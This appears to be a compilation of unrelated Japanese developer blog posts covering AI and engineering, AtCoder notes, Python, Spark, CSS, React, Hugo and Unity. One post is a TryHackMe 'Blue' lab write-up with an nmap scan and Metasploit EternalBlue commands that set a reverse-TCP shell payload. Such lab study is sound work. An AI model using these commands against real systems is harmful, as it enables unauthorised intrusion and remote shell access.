最初の2，3単語を書けばそれ以降のコードはすべて勝手に書いてくれる、AIが登場するまでは想像すらしてなかった世界だ。
さて、そんなパラダイムシフトのど真ん中で我々エンジニアとしての役割はどのように変わったのか考察してみる。

# コーディング力から設計力に
AIが登場する前、コーディング力は武器だった。例えばRubyを知って書ける、Vueを書ける、Swiftを書ける、これらは明確なアドバンテージだった。正しい文法を知らなければエラーになる、至極当然の世界観は、しかしAIによって崩壊した。
極端な話、正しい文法を知らなくてもやりたいことをかければ自動で生成してくれるようになった。
コーディング力の持っているアドバンテージが薄くなった。

その代わりにコーディングの知識を用いて判断する力が必要になった。

AIの出力したコードが正しいのか、保守性は問題ないか、堅牢なコードか、可読性は問題ないか、などを判断する、つまり設計の良し悪しを見極める能力（設計力）がより重要になった。

エンジニアにはコーディングというは単にその言語を書けるというスキル的な要素から、設計の良し悪しが分かるというより抽象度の高い能力が必要になった。

# 言語化の力がより重要になった
コードの意味を教えてもらうならコードをコピーしてChatGPTなどにペーストして一言、「要約して」でOKになった。
しかし逆の場合、「こういうこと」をしたいんだけどどういうコードを書けばいい？というケースには「こういうこと」を正しく言語化できるスキルがより必要になってくる。
さらに出力されたコードが自分のプロジェクトとマッチしているかの判断をし、ズレているなら適宜修正するようなやり取りが必要になる。

これらのような「やりたいこと」を正しくAIに伝える言語化のスキルが重要になったと言える。

# これらの能力を見極める能力が必要になった
エンジニアの在り方が変わった今、チームとして求める人材も変わってくる。言語化能力に長けた人、例えばデザイナーや企画の意図を正しく理解しコードに落とし込むことの得意な人がより必要になる。言い換えれば単純にいろんな言語を書ける、いろんな知識があるだけでは長所になりにくくなっている。
そしてそれらの能力に長けた人を見つけるための能力も必要になってくる。

# おわりに
AIが登場した最初は、エンジニア職はもうおしまいとか言われていた。事実、コーディング能力だけあればよい時代は終わった感がある。
しかしこの変化は、本来エンジニアが持っているべき能力によりフォーカスされただけにも思える。
エンジニアとは本来単に「コードが書ける人」ではなく「抽象的な要求をコーディングというスキルを通じて具体化する人」ではないかと考える。
そう考えたとき、AIは単に手段の代替に過ぎず、依然としてエンジニア職として必要な能力は今も昔も変わらないのではないか、と思う。ただし、エンジニアとして磨くべきスキルは明確に変わっただろう。
atcoder_水色精進記録11_ABC257d

# Atcoder水色精進記録
ABC257
D - Jumping Takahashi 2
https://atcoder.jp/contests/abc257/tasks/abc257_d

# アルゴリズム・データ構造
ワーシャルフロイド、全探索

# 考察
開始ポジションを決めた場合に、どうやってSを求めることが出来るだろう？
コストが最小となるようなルートを決定する必要がある→最短経路問題

開始ポジションの決定はどうすればいい？
単純計算では求められなさそう。
各ジャンプ台から全てのジャンプ台への最短経路がわかれば、全探索ができそう。
ワーシャルフロイドで全てのパスの最短経路を求めておく。

# 提出
https://atcoder.jp/contests/abc257/submissions/63200491

# 感想
ワーシャルフロイドの応用ができてきた。
春休み一人アドカレ三日目　Try Hack Me Blue Write up 前半


## 前置き
この記事は、大学2年の春休みにインプット力とアウトプット力を鍛えるべく毎日記事を投稿する試みの第3本目の記事です。
筆者は記事投稿経験がほぼ無く、プログラミング歴も2年ほどと浅いです。ですので間違い等を発見された場合は優しくご指摘ください。
また今回取り扱った内容を許可なく他人の環境に使用し攻撃を行った場合は罪に問われます。
決して行わないでください。また一切の責任は負いません。

## はじめに
自分はたまにCTFのWebやフォレンジックを解いていましたが、実践に近い形でマシンを攻略するにはHTBのstarting pointを問いた程度でした。この春にHTBのレート上げたいと思い、基礎学習としてTHMをやっていたところ、この問題を見つけたのでリハビリのつもりで行いました。
環境の作り方などは機会があればまとめますが今回は省略します。


## 手順

### 1.Recon
まず初めに空いてるポートを調べるべく、nmapを使ってポートスキャンします。
そのさい以下のように環境変数に設定して置くと楽です。
```zsh
IP = 10.10....
cat $IP
10.10....
```
また記事を参考にこのようなオプションにしています。
```zsh
nmap -p- --min -rate 10000 $IP
```
参考記事

https://zenn.dev/hk_ilohas/articles/htb-to-pro-hacker

するとこのように出ました。
![スクリーンショット 2025-02-26 13.40.07.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3853234/be89a6ca-5730-42ba-8036-dd7e2031958a.png)
ということで最初の答えは3となります。


続いての問題の際、回答例のms08-067が何かわからなかったので調べました。
![スクリーンショット 2025-02-27 14.38.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3853234/dec436de-f061-49ed-adca-2fdea6b20aac.png)

するとMicrosoftの脆弱性番号であることがわかります。空いてるポートと問題から、windoswのエターナルブルーに関する情報を調べると、MS17_010というマイクロソフトセキュリティ情報のページがでてきます。
ということでここの答えはMS17_010が入ります



### 2.Gain Access
metasploitを使えとあるので、起動します。
また先程の問題でMS17_010が今回使う脆弱性とわかったので、それに関するエクスプロイトを探します。

```zsh
msfconsole
search ms17-010
```
![スクリーンショット 2025-02-26 14.00.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3853234/5fe95c80-6d52-4127-9f39-2adf6cc71be6.png)

この用にでてきたので、答えはexploit/windows/smb/ms17_010_eternalblue　が入ります。
早速使用するために設定していきます。またどのようにして使うか調べるためにオプションを表示します。

```
use exploit/windows/smb/ms17_010_eternalblue
show options
```
![スクリーンショット 2025-02-26 14.08.46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3853234/ffdd07a5-8580-4a68-9320-9e568a62e520.png)
このように出てきました。
Requriedがyesかつ空欄はRHOSTSだけなので、必要なのはRHOSTSとわかります。
答えはRHOSTSです。

あとはこのようにセットして実行します。
```
set payload windows/x64/shell/reverse_tcp
set rhost 10.10....
exploit -z
```

exploit結構長いので気長に待ちましょう。


ここで私はうまくいかなかったので、ブラウザの仮想マシンを使うとうまくいきました。

![06F5D546-2B6F-4127-9716-C291F3E14BC7.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3853234/d739646a-1f24-4296-a736-c6e231602b3d.jpeg)

しかしながらこの後のIDとパスワードを取得したところでブラウザのマシンの時間が終了してしまったため、キリのいいここで記事を切り続きは~~明日投稿します~~。

続き

https://qiita.com/Inlet-back/items/e680154b1fe85662c7a4
atcoder_水色精進記録10_ABC246E

# Atcoder水色精進記録
ABC246
E - Bishop 2
https://atcoder.jp/contests/abc246/tasks/abc246_e

# アルゴリズム・データ構造
01-BFS

# 考察
最短手のためBFS？
→マス数はN*N=1500*1500=2,250,000=2.25*10\*\*6
1手で対角線は無限に行くことが出来るので
進行方向はcost0、進行方向と90度曲がる方向はcost1として捉えると01-BFSでいけそう
最大でも全マス*進行方向2種類の2*N*Nでいけそう

# 提出
https://atcoder.jp/contests/abc246/submissions/63195636

# 感想
訪れた場所への値の更新は要注意
　基本的には下記二点
　・既に入れようとしているコスト以下の値が入っている場合はqueに追加しないために、queに入れた際に値を更新する
　・popした後に、記録していた値より大きい（queに追加する際に記録を更新しているため＝の場合は実施）場合は何もせずにcontinue
　上記方針で実施すれば、queに対して、記録/que内の未実施の値以上の値が入ることはない。
#0059（2024/02/26）インターフェースと抽象クラスの違いについて。

# プログラミングにおける interface と抽象クラスの違い

オブジェクト指向プログラミングでは、**interface** と **抽象クラス** は、クラスの「契約」や共通の振る舞いを定義するための手段ですが、以下の点で異なります。

---

## 基本概念

### Interface (インターフェース)
- **定義:**  
  インターフェースは、クラスが実装すべきメソッドのシグネチャ（名前、引数、戻り値）だけを定義します。  
  実装の詳細は持たず、実装する側に「こういう動作を提供してください」という契約を強制します。
- **特徴:**  
  - メソッドのシグネチャのみを規定する  
  - 共通の実装や状態（フィールド）は持たない  
  - 多重継承の形で複数のインターフェースを実装できる場合が多い

### 抽象クラス (Abstract Class)
- **定義:**  
  抽象クラスは、インターフェースのように契約を定義するだけでなく、一部のメソッドにデフォルトの実装を提供したり、共通の状態（フィールド）を持ったりすることができます。  
  継承先のクラスは、抽象クラスの抽象メソッドを必ず実装する必要があります。
- **特徴:**  
  - 抽象メソッドを含み、サブクラスに実装を強制する  
  - デフォルトの実装や共通のプロパティを持つことができる  
  - 単一継承が一般的（言語によっては複数継承がサポートされる場合もある）

---

## Python における実装例

Python には明示的な `interface` キーワードはありませんが、`abc` モジュールを使って抽象基底クラス（Abstract Base Class; ABC）を定義することで、インターフェースや抽象クラスのような振る舞いを実現できます。

### インターフェース風の抽象基底クラス

```python
from abc import ABC, abstractmethod

class IShape(ABC):
    @abstractmethod
    def area(self) -> float:
        """面積を計算して返すメソッド"""
        pass

    @abstractmethod
    def perimeter(self) -> float:
        """周囲長を計算して返すメソッド"""
        pass
```

- ポイント:
    - IShape はあくまでメソッドのシグネチャのみを定義し、実装は提供しません。
    - これにより、IShape を実装するクラスは area() と perimeter() の実装を必ず提供する必要があります。
    - これは、インターフェースとしての役割に相当します。

## 抽象クラス

``` python 
from abc import ABC, abstractmethod

class Shape(ABC):
    def __init__(self, name: str):
        self.name = name

    @abstractmethod
    def area(self) -> float:
        """面積を計算して返すメソッド（サブクラスで実装）"""
        pass

    def describe(self):
        """共通の振る舞い: 図形の名前と面積を表示する"""
        print(f"{self.name} の面積は {self.area()} です。")

class Rectangle(Shape):
    def __init__(self, width: float, height: float):
        super().__init__("Rectangle")
        self.width = width
        self.height = height

    def area(self) -> float:
        return self.width * self.height

# 使用例
rect = Rectangle(5, 10)
rect.describe()  # 出力例: Rectangle の面積は 50 です。
```

- ポイント:
    - Shape は抽象クラスとして、area() の抽象メソッドを定義し、describe() といった共通の振る舞いを実装しています。
    - Rectangle は Shape を継承し、area() を実装することで具体的なクラスとなります。

# まとめ
- interface（インターフェース）
    - メソッドのシグネチャのみを定義し、実装を持たない。
    - 実装クラスは全てのメソッドを実装する必要がある。
    - Python では、abc モジュールで抽象基底クラスを使い、インターフェースのように振る舞わせることができる。
- 抽象クラス (Abstract Class)
    - 一部のメソッドにデフォルト実装や共通の状態を持たせることができる。
    - 抽象メソッドを定義し、サブクラスに実装を強制する。
【小ネタ】Qiita AIサジェスト機能を使ってみた！！

いつも記事を読んでいただきありがとうございます！
モブエンジニア（[@mob-engineer](https://qiita.com/mob_engineer))です！

今回はQiitaベータ版に搭載されている**AIサジェスト機能**を用いて**どんな記事を執筆できるのか検証したいと思います。

読みやすい分量で執筆しておりますので、お気軽に読んでいただければ幸いです。

#### Qiita公式ブログ

https://blog.qiita.com/ai-suggest-open-beta/

ざっくり言えば、**生成AIを通じて記事執筆をフォローする機能**と思ってもらえればわかりやすいかと思います。

それでは、1つネタを用意して書いてみましょう。

## その1：DRY原則

それでは、DRY原則の内容についてまとめてみましょう。

- AI執筆箇所
>DRY原則とは「Don't Repeat Yourself」の略で、同じコードやロジックを繰り返さないことを指します

次に、DRY原則のユースケースについてまとめてみましょう。

- AI執筆箇所
>DRY原則のユースケースとしては、例えば関数やメソッドを使って共通処理をまとめることが挙げられます

さいごに、DRY原則の課題についてまとめてみましょう。

- AI執筆箇所
>DRY原則の課題としては、共通化しすぎるとコードが複雑になり過ぎてしまうことがあります

## 所感

AIサジェスト機能を用いて執筆してみましたが、**正直、そこまで使わなくてもいいなぁ**といった印象を持ちました。

理由として、

- APIリクエスト機能が月10回前後（？）のため執筆に活用するには少なすぎる
- 1回あたりの生成量が1～2行程度なので、そこまで効率化するわけではない
- アウトプットに関して、**根拠情報・思考**についてよくわからない

そのうえで、現在はベータ版のためリリースに向けて品質向上を行っていくのではと期待できます。

小ネタレベルの記事ですが、最後までお読みいただきありがとうございました！！
Google Colab の Spark にて Delta Lake の動作検証

## 概要

Google Colab の Spark にて Delta Lake の動作検証をした結果を共有します。 Valinlla Spark にて Delta Lake を動作させたかっため本検証を実施しました。

## 検証結果

### Spark のバージョンを確認

```bash
!pyspark --version
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24031/d22201cc-8a14-4aec-84c3-7cd5e44f5619.png)

### SparkSession を定義

Spark のバージョンに応じて`spark.jars.packages`で指定するライブラリのバージョンを変更する必要あり。

```python
from pyspark.sql import SparkSession

spark = (
    SparkSession.builder
        .appName("DeltaLakeExample")
        .config("spark.jars.packages", "io.delta:delta-spark_2.12:3.2.1")
        .config("spark.sql.extensions", "io.delta.sql.DeltaSparkSessionExtension")
        .config("spark.sql.catalog.spark_catalog", "org.apache.spark.sql.delta.catalog.DeltaCatalog")
        .config("spark.sql.warehouse.dir", "/delta")
        .getOrCreate()
)
spark
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24031/455421be-eefa-44c5-bcd4-09790c7f4190.png)

### テーブルを作成

```python
spark.sql("""
CREATE OR REPLACE TABLE first_table (
  id INT,
  name STRING
)
USING delta
""")
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24031/646fd88f-3425-46c9-a191-eb500aab5755.png)

### テーブルにデータを書き込み

```python
schema = """
id INT,
name STRING
"""
data = [(1, "Alice"), (2, "Bob"), (3, "Charlie")]

df = spark.createDataFrame(data, schema)
display(df.toPandas())

# Delta テーブルに上書き書き込み
df.write.mode("overwrite").format("delta").saveAsTable("first_table")
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24031/bf345307-73db-4c1f-92ad-78a680e897e8.png)


### テーブルのデータを確認

```python
display(spark.table("first_table").toPandas())
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24031/66241bb5-ef91-4636-8ca4-6a23f2b33ff0.png)

### テーブルの履歴の確認

```python
display(spark.sql("DESCRIBE HISTORY first_table").orderBy("version").toPandas())
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24031/0a540e1b-5a8f-4834-9e78-965524f805a3.png)
√2を手計算で簡単に求めるには

# まえがき
　最近数学で遊んでいたらおもしろいことを見つけた。簡単に言えば$\sqrt{2}$の近似を簡単に手計算でできないかを考えた。その結論が出たのでとりあえず記事にしておきたい。(自分用)

# 計算方法
二項定理を用いて適当なnのときの以下の式を展開する。
$$(3+2\sqrt{2})^n$$
ここで
$$(3+2\sqrt{2})^n = a+b\sqrt{2}$$
とすると、
$$\frac{a}{b}\fallingdotseq\sqrt{2}$$
となる。
つまり、二項定理を用いて式の展開をするだけで$\sqrt{2}$の近似ができる。また、これはおそらく漸近分数である。実際に計算すると、

|n  |a     |b     |a/b|
|---|---   |---   |---|
|1  |3     |2     |1.5|
|2  |17    |12    |1.4166666⋯|
|3  |99    |70    |1.4142857⋯|
|4  |577   |408   |1.4142156⋯|
|5  |3363  |2378  |1.4142136⋯|

　確かに$\sqrt{2}$に近くなっていっている。手計算で頑張ればn=8くらいまでは行けなくはないだろう。パソコンに計算させればもっと早くなるが、二項展開をプログラムでどう扱うかが問題で、まだプログラムに起こせていない。今後は上の計算を自動でやってくれるようなプログラムを考えてみようと思う。

 # まとめ
　今回は短い時間でちゃちゃっと記事を書いたので完全に自分用になってしまっていて申し訳ない。ただ、今回の内容はかなり面白い事実だったのではないだろうか。感想などあればぜひコメントいただきたい
 
 # 追記
```math
\displaylines{
任意の整数xについて(x+\sqrt{x^2-1})^n(nは自然数)を展開し、整数a,bを用いて\\
(x+\sqrt{x^2-1})^n=a+b\sqrt{x^2-1}\\
と表したとき、\frac{a}{b}\fallingdotseq\sqrt{x^2-1}となる。
}
```
という法則性があるかもしれないことが分かった。あくまでも予想であるが。
# 更に追記
どうやら
```math
\displaylines{
任意の整数x,yについて(\sqrt{x}+\sqrt{y})^n\:(nは自然数)を展開し、整数a,bを用いて\\
(\sqrt{x}+\sqrt{y})^n=a\sqrt{x}+b\sqrt{y}\\
と表したとき、\frac{a}{b}\fallingdotseq\frac{\sqrt{y}}{\sqrt{x}}となる。
}
```
条件を更に厳しくしたがこれも成り立ちそうである。
基板できました

え、と、注文手続きが 2/2 、発送の連絡が 2/5 、届いたのが 2/10 、んー、素晴らしい。

こんな感じ（ ↓ ）。

![DSC_0334.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3729329/d13c605e-652b-4f02-8c1c-7bdedcd6e92c.jpeg)
<br>

で、部品付けて試験中（ ↓ ）。

![DSC_0340.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3729329/fc3bdae0-91e0-4c65-b16b-ad3a409a5bb6.jpeg)
<br>

その後いくつか間違いに気づいたのでとりあえず動かせるように直して写真立てに実装して NT 加賀に出品。

やれやれだぜ。 ww
<br>

一両日動かしてたわけだけど不審や不穏な動きはなかった。 今回のはパート先へのデモ用なので権利が絡む可能性があり詳細は伏せていたけど、少なくとも NT 富山には汎用化したのを出す予定。
【React】JSONをちょっといい感じに表示したい

# 序

Reactで外部のAPIとやり取りする部分を作っているときなんかに、JSON形式のデータをちょっといい感じに表示したいことってありませんか。私はあります。

`console.log()`でもいいですが、人に見せたいときめんどくさいですしね。

## 実装

以下のサンプルコードは、スタイリングを[TailwindCSS](https://tailwindcss.com/)に依存しているので、使ってない人は自力でスタイリングしてください。

:::note warn
- デバッグとかデモアプリでの使用を想定しています
- あらゆる有効なJSONでいけるかどうかは試してないです
    - [このサイト](https://www.jsongenerator.io/)で生成したJSONを数パターン試しました
    - `JSON.parse()`が落ちるヤツは当然ダメです
    - 再帰実行してるので、有効だがすごい深いJSONもダメかもしれないです
:::


```tsx:JsonPreview.tsx
import type { ElementType, ComponentPropsWithoutRef, ReactNode } from 'react';

interface Props<T extends ElementType> {
  as?: T | 'div';
  jsonStr: string;
}

// 入れ子用
const InnerItem = (props: {
  children: ReactNode;
  keyName: number | string;
}) => {
  return (
    <div className="flex flex-col gap-2">
      <span className="rounded-lg bg-zinc-300 text-zinc-800 p-1 shadow-lg font-mono mt-2">
        {props.keyName}:
      </span>
      <div className="ml-6 pl-2 border-l-3 border-zinc-200">
        {props.children}
      </div>
    </div>
  );
};

// 本体
export const JsonPreview = <T extends ElementType = 'div'>(
  props: Props<T> & Omit<ComponentPropsWithoutRef<T>, keyof Props<T>>
) => {
  const { as: Component = 'div', jsonStr, ...attributes } = props;
  try {
    const json = JSON.parse(jsonStr);
    if (json instanceof Array) {
      // 配列の場合はインデックスをキーとして表示
      return json.map((item, index) => (
        <InnerItem key={index} keyName={index}>
          <JsonPreview
            jsonStr={JSON.stringify(item)}
            as={Component}
            {...(attributes as any)}
          />
        </InnerItem>
      ));
    } else if (json instanceof Object) {
      // オブジェクトの場合はキーとをそのまま表示
      return Object.keys(json).map((key) => (
        <InnerItem key={key} keyName={key}>
          <JsonPreview
            jsonStr={JSON.stringify(json[key])}
            as={Component}
            {...(attributes as any)}
          />
        </InnerItem>
      ));
    } else {
      // 配列でもオブジェクトでもない場合はasで指定したコンポーネント/エレメントでレンダリングする
      return <Component {...attributes}>{json}</Component>;
    }
  } catch (e) {
    return <div>Invalid JSON</div>;
  }
};
```

```tsx:App.tsx
import { JsonPreview } from './JsonPreview';

function App() {
  return (
    <>
      <div className="m-4">
        {/*<p>タグとしてレンダリング*/}
        <JsonPreview jsonStr={json} as="p" />
      </div>
    </>
  );
}
```

## 結果

こんな感じになります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3524683/75951bf7-1ad3-4e30-bb71-c7af8084ed48.png)

## 実際の動作を見る

https://stackblitz.com/edit/vitejs-vite-sjdzmpip?file=src%2Fcomponents%2FJsonPreview.tsx

## 終わりに

型がわかってるならちゃんとJSXを書いたらいいと思いますが、実際どんなデータが入ってきてるのかよくわからんJSONを調べるときに、JSONをテキストのままレンダリング出来たら楽かなと思って作りました。

道具が増えるのはいいことです。
Hugoで`new content`した時に挿入されるフロントマターを編集したい

## はじめに

Hugoでブログを書き始めたのですが、

```
hugo new content hogehoge
```

した際に作成されるファイルへ自動的に挿入されるフロントマターを編集したい…となったのでそのメモです。

## default.mdを編集

`hugo new site hogehoge`で作成されるディレクトリの配下に存在する`/archetypes/default.md`を編集します。

`hugo v0.143.1`で作成される`default.md`の初期値は以下でした。

```markdown
  +++
  date = '{{ .Date }}'
  draft = true
  title = '{{ replace .File.ContentBaseName "-" " " | title }}'
  +++
```

ここに、毎回追記していた設定を追記します。

```diff_markdown
  +++
  date = '{{ .Date }}'
  draft = true
  title = '{{ replace .File.ContentBaseName "-" " " | title }}'
+ description = ''
+ categories = ['']
+ tags = ['']
+ image = ''
  +++
```

`hugo new content hogehoge`してみて、挿入されるフロントマターが変わっていればOKです。

## その他

`/archetypes/default.md`と同じ場所に別のテンプレートファイルを配置する事もできるみたいです。 [^1] 

## 参考

https://gohugo.io/content-management/archetypes

[^1]:https://gohugo.io/content-management/archetypes/#specify-archetype
開発部・CSSの裏技 - 定期的に変わる文字列

:::note alert
関係ありません(迫真)
:::
今回は定期的に文字列が変わるページを作る方法についてです。
皆さん疑似要素にCSSで文字列を表示できるのは知ってますよね？
```css
span::after{
    content: "やりますねぇ";
}
```
これ×`animation`を使うとCSSで(JavaScript無しで)文字列を変更できます。
```css
@keyframes text{
    0%{ content: ""; }
    25%{ content: "こ"; }
    50%{ content: "こ↑"; }
    75%{ content: "こ↑こ"; }
    100%{ content: "こ↑こ↓"; }
}
span::after{
    animation: text 1s linear infinite;
    content: "";
    /* MSEdgeだとこ↑こ↓でcontentを設定しないと動作しませんでした。
       Chromium系ブラウザ・blinkやその他も同じだと思います。*/
}
```

https://play.vuejs.org/#eNp9kstOwzAQRX/FGold1QdQIaVRxUNdwAIQsPTGSifFrWNH9qS0qrpgwx7xh/Aj2E4LKVSVoiSae2Z878gruCjL9rxCSCAlLEolCIdcM5a6Uuhh2okfrtNOQ00dLVX4OZ/hMreiQMcIF7QKjYx1j1YsM5pQU8I4cBiwda0c93elr9ePhtr/0+jVz7f3BnD2v90Du0N63b1T4nvL+SfEShKRE9qNa6FlIUgancQsrOeYkhqFZVLnUkvCQQ3uRovT/Jo2G4EWkPNELiftqTPa7zXO55CZopQK7V0ZDnEcErY5mYNQyrzcxBrZClvbevaM2WxPfeoWocbh3qJDO0cOPxoJO0Gq5dHjrY/SEAszrpSnD4gP6Iyqgscau6z02NtucNHtdVEaS1JPntxo4ffhtqGC0UCuI8/BX66rA9F/7Z60T2Of3yisvwHHRuBl

これを活用するとJavaScript無しのストップウォッチみたいなのも作れます。

https://play.vuejs.org/#eNqllF1PwyAUhv8KIdmVWqvb/KjV+BEv9EKNeskNbqcT1wIBOrcs++8CnRNxW6YmTUp4Tt++55CXKb6QMhnVgDOcG6hkSQ2cEY5QzrisDTITCacE916hN3wRY4IbqCXlZ/mufyU/dgjPdwOxXJtJ6RbnQ5gUilagEeVs6r5DKG2hKeoJboCbDBGcEnyCZg3rrmF73dY3thew/YjtB6wdsXbAOhHrhF4i1g3YQcQOAnYYscOAHUXsKGDHETsOe0/T1nQJs09zbFvIHUSWvUAhFPhJ24lX1DDBM7d0EhqVjANViPGCcWbgxNUFslZ1iSYtDKjlkn9S3MTs/4RXOk6TXypnPgjQjzxvr8L+zyvoZhrrmtixCZvsaGNjliFJaw39xqvN4TxyeBsbbbsp2CB504LbnHsNG2lRSVaCupdOShOcoXkiCaZlKd5v/Z5RtbPW7HtrS/bftL0Z3LAeFGhQIyB4wQxVAzANvn66g7FdL2Al+nVpq9fAR9CirJ3Hpuyy5n1rO6jzbm8qKZRhfPCsr8f27PRnU86oq5z5eoLtZXe1pvUvu+2k47+zE8WzD/yKriU=
## 注意
animation属性・keyframeはトランジション的に変わるので、文字列を使うと
|内部|状態|設定|
|-|-|-|
|0%|0%のテキスト|0%のテキスト|
|5%|10%のテキスト| **←この中間点で変化していまう！** |
|10%|10%|10%のテキスト|

まあこんな感じに変化してしまうので
↓このようにずらすといいです。
|内部|状態|設定|
|-|-|-|
|0%|0%のテキスト|0%のテキスト|
|5%|0%のテキスト|0%のテキスト|
|10%|10%のテキスト| **←ここで変化！** |
|15%|10%のテキスト|10%のテキスト|
|20%|20%のテキスト| **←ここで変化！** |
|25%|25%のテキスト|20%のテキスト|

:::note warn
これらはウェブレンダリングエンジンによって変化タイミング等が違う可能性があります。ちゃんと確認しましょう。
:::
## まとめ
疑似要素と`content`と`animation`(`@keyframes`)の合わせ技でCSSだけで文字列を定期的に変化させられる！
プログラミングスクールは要らない

プログラミングの入門書なんていくらでも売ってるし、十分独学可能です。
プログラミングスクールに通わないとプログラミングがわからない人はプログラマーには向いてないです。
プログラミングスクールも良いカモだと思って情弱からお金巻き上げてるだけです。
（個人の感想です）
今月の活動報告

# ご挨拶

みなさまこんこんです。白"雪姫"です。

気がついたら，2月も末に近づいてます。

記事を1枚もあげてないじゃないか！！という事に至りまして，このレポートを書いています。

そりゃあげれないよ練ってまとめながらに思っていました。

## 今月の活動内容<登壇した物のみ記載>

- 2月7日：[エンジニアニメ](https://engineers-anime.connpass.com/event/340298/)
    - こちらは，うーたんが主催をしてる勉強会残念ながらこちらに関しては，色々問題があるため資料の公開はしてませんが，登壇もさせてもらいました。
- 2月20日：[AWS cafeteria #3](https://yumemi.connpass.com/event/343066/)
    - こちらは，私の所属会社と他2社の主催というか達で，広報もといSNS盛り上げ担当として参加していました。参加者の皆様，こう，ちょいちょいお写真取りに行ってしまってすみませんです。
- 2月25日：[JAWS-UG IoT専門支部](https://jawsug-iot.connpass.com/event/340508/)
    - 以前ブログを書いた際に主催者の1人の方の目にとまったらしく，そちらの内容を改めて登壇してまいりました。
    - [登壇資料](https://speakerdeck.com/yuri_snowwhite/jaws-ug-iot-switchbot-notify-to-discord)
    - [当該ブログ](https://kohaku-kageroh.hatenablog.com/entry/20241209/1733746235)
    - [githubレポジトリ](https://github.com/HimekoYuri/switchbot_notify)

## 振り返り

なんだかんだで結構毎週登壇なりイベント運営をしていた感じです。
お陰でインプットとアウトプットがアンバランスになっています。
アウトプット結構多かったし，次はインプットもまた頑張らないとね！

## 予告(宣伝？)

最近，会社名と共に「しらゆきです」というと，「え，XX社のしらゆきさんって存在してたんですか？」と驚いていただけます。

結構嬉しいです。

オフラインでお会いしたいか違いましたら，以下のイベントには居る予定ですので探してみていただくと言いかもしれないです。(オンラインの場合もあります)

- 2月28日:[AWS Global Community Gatherings](https://www.meetup.com/ja-JP/awsglobalcommunitygatherings/events/305219680/?eventorigin=group_events_list)
    - 注意：全て英語での会話になります。
- 3月1日:[JAWS DAYS 2025](https://jawsdays2025.jaws-ug.jp/)
    - こちらボランティアスタッフをやらせていただきます。
- 3月18日:[Security.any](https://security-any.connpass.com/event/343644/)
    - セキュリティ界隈で啓発しようというイベントから作って共同運営をさせていただいてます。恐らく受付とかで会えるかもしれませんね？ｗ

## 最後に

関わったり登壇したりしたためタグとしても持ち煎らせてもらっていますが本レポートはあくまで個人でのレポート・告知です。ご了承ください。
海外のフリー２Ｄゲーでよく目にする様な銃のリロード機能の実装（Unity　C# ）


リロードの機能をまあカンタンやろ（ハナホジ）とか思いながら書いてたら、丸々一日費やす羽目になったので投稿しようと思い至りました。

追記：すみません、参考にさせて頂いたサイトがあったのですが、載せていませんでした。
参考にさせて頂いたサイト：https://qiita.com/toRisouP/items/e6d4f114d434ee588044

### 銃本体のスクリプト

    private int InsTimer = 0;       //弾を呼び出す間隔

    public GameObject InsTarget;　　//呼び出す弾オブジェクト
    public GameObject AngleSource;　//弾がVector3.upなため、プレイヤーオブジェクトの角度を元に生成
    
    private int FireRate = 0;        //発射速度（N発毎秒）

    private float ReloadTime = 0;   //リロード時間（小数でも指定できる）
    
    private int BulletCount = 0;     //ゲーム内で実際に変動する残弾数

    private int BulletCap = 0;    //弾が最大何発か

    private bool FireReady = true;  //発射可能にするかを指定

    // Start is called before the first frame update
    void Start()
    {
        
    }

    // Update is called once per frame
    void Update()
    {
        Application.targetFrameRate = 60; //別にマネージャーを作ってフレームレートを設定した方が良い

        InsTimer++;

        float Angle_Y = AngleSource.transform.localEulerAngles.y; //プレイヤーの角度を取得して 弾生成時の角度を指定



        if (FireRate > 0 && FireReady == true && BulletCount >= 1)
        {
            if (InsTimer >= 60 / FireRate && Input.GetKey(KeyCode.Space))
            {

                Instantiate(InsTarget, transform.position, Quaternion.Euler(0, Angle_Y, 0));

                BulletCount -= 1;

                InsTimer = 0;

            }
        }   //射撃

        //リロード

        if (Input.GetKeyUp(KeyCode.R) && FireReady == true)
        {

            FireReady = false;
            Invoke(nameof(Reload), ReloadTime);
        }
    }


    private void Reload()
    {
        BulletCount = BulletCap;
        FireReady = true;      
    }  //リロード時に呼び出されるコルーチン


    public void SetWeaponNoOnClick1()
    {
        FireRate = 2;
        ReloadTime = 2f;
        BulletCount = 11;
        BulletCap = BulletCount;
    } //武器の情報（ボタンをクリックしたときなどのイベント時に記録）



### 弾の移動　


    public float MoveSpeed = 50f; //移動速度

    public int LifeTime = 120;　　//消去までの時間

    private int counter = 0;　　　//カウンター

    // Start is called before the first frame update
    void Start()
    {
        
    }

    // Update is called once per frame
    void FixedUpdate()
    {
        counter++;

        transform.Translate(Vector2.right*MoveSpeed*Time.deltaTime);

        if(counter>=LifeTime)
        {
            Destroy(gameObject);    
        }

    }


### スクリプティング以外にやること

1.銃オブジェクトとプレイヤーオブジェクトと弾オブジェクトを用意。
2.プレイヤーの子供として銃オブジェクトを配置。
3.銃オブジェクトに銃本体のスクリプトをアタッチ。
4.弾オブジェクトに弾の移動スクリプトをアタッチ。
5.弾をプレハブ化。
6.銃オブジェクトにアタッチされたスクリプトのInsTargetにプレハブ化した弾、AngleSourceにプレイヤーオブジェクトをアタッチ。
7.ボタンオブジェクトを配置。
8.ボタンのNavigationをnoneに設定。（スペースに勝手に反応するため。）
9.ボタンのOnClick()を追加し、銃オブジェクトをアタッチしてからSetWeaponNoOnClick1()を選択。
10.プレイしてみて、ボタンを押した後でスペースを押した時に弾が出るか確認する
[GO] チャネルのよくある Concurrency パターンのメモ 

# 概要
たまに go で書く時のためにチャネルの定番パターンをメモする.
go は簡単なツールを作成するために使う程度のものなので、確実な動作は保証しないし、context 終了時の動作はあまり精査しきれていない。

- FanIn
- FanOut
- (opt) Transform

